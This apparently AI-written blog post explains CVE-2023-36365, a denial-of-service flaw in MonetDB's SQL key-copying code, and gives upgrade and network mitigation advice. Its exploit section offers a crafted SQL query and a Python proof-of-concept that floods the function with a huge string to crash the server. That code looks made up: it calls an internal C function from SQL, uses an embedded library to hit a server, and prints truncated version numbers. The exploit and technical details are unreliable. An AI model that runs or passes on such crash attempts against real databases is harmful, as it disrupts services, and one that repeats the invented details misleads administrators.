MonetDB is a popular open-source columnar database designed for fast analytics. But, even the best software isn’t bug-proof. In this long read, we’ll break down CVE-2023-36365—a vulnerability that could let an attacker crash the MonetDB server with a simple crafted SQL command. We'll explain what went wrong, how an attack might look, and how you can protect yourself. If you're a database admin, developer, or a security buff, this post is for you.

What’s the Problem?

The vulnerability is in the part of MonetDB’s SQL layer responsible for copying query keys—specifically, the function called sql_trans_copy_key. The issue is that MonetDB, when handling certain malformed or malicious SQL statements, fails to check the input properly, and ends up reading or writing to memory it shouldn’t touch. This causes a crash—Denial of Service (DoS)—meaning the database server stops responding until someone restarts it.

How Does it Work?

Let's simplify. In normal operations, MonetDB expects certain data types and structures. If something unexpected comes in, the code should error out *safely*. In the affected versions, this error handling is missing or incomplete.

Here's what a common exploit path looks like

1. Attacker connects to the MonetDB server (needs permission, or maybe access from an internal app).
2. Attacker sends a specially crafted SQL statement that abuses the copy key mechanism (we'll see a demo below).

Here’s a representation of what the problematic MonetDB C code might look like

// Vulnerable code snippet (simplified)
str
sql_trans_copy_key( /* ... */ ) {
    // Some key copy logic
    // ...   
    strcpy(dest, src); // No check for overflow or invalid input!
    // ...
}

// A malicious src could make this crash or corrupt memory.

*Note: The real MonetDB code is more complex and uses its own data types, but the problem is similar—copying memory without enough checks.*

Example Exploit

Suppose you know your MonetDB is running v11.45.17 (or v11.46.). You could send a crafted SQL like this (example, won't work on all releases):

SELECT * FROM (SELECT 1 AS x) AS t
WHERE EXISTS (SELECT sql_trans_copy_key('verylongstringthatcausescrash....'));

What happens here?
- The sql_trans_copy_key gets called with an input that overflows or confuses the function’s logic.

Here’s a Python Proof-of-Concept

import monetdblite

con = monetdblite.connect('test_db')
try:
    # This input could crash the server
    con.execute("""
        SELECT sql_trans_copy_key('%s')
    """ % ("A" * 100000) ) # Big input, adjust size as needed
except Exception as e:
    print("Crash likely—server should be down now:", e)

Warning: Don't try this on a production or shared server!

References

- NVD CVE Detail
- MonetDB Official Website
- GitHub Security Advisory / Patch Discussion
- Official Patch PR

How To Fix or Mitigate

Upgrade MonetDB!

The MonetDB developers fixed this issue after v11.46.. Update to the latest stable version

# e.g., Debian/Ubuntu:
sudo apt update
sudo apt install monetdb5-sql

Or build from source for a bleeding-edge fix.

Network Rules:
Only expose MonetDB to trusted networks until you can upgrade.

Monitor Logs:
Watch for weird or crashed sessions in server logs—could be an attack or accidental trigger.

Should You Worry?

If you’re running v11.45.17 or v11.46., and your MonetDB server is open to the internet (or a big network), you’re at real risk. Even if the bug isn’t remote code execution, a DoS can harm uptime, user trust, and could aid attackers covering their tracks.

Patch fast, restrict access, and stay sharp.

For questions, dive into the GitHub issue or watch MonetDB's release notes.

Stay patched and secure! 🚦

*Do not reproduce this attack outside test environments. The best defense is fast upgrading and careful access control.*

Timeline

Published on: 06/22/2023 14:15:00 UTC
Last modified on: 06/28/2023 19:02:00 UTC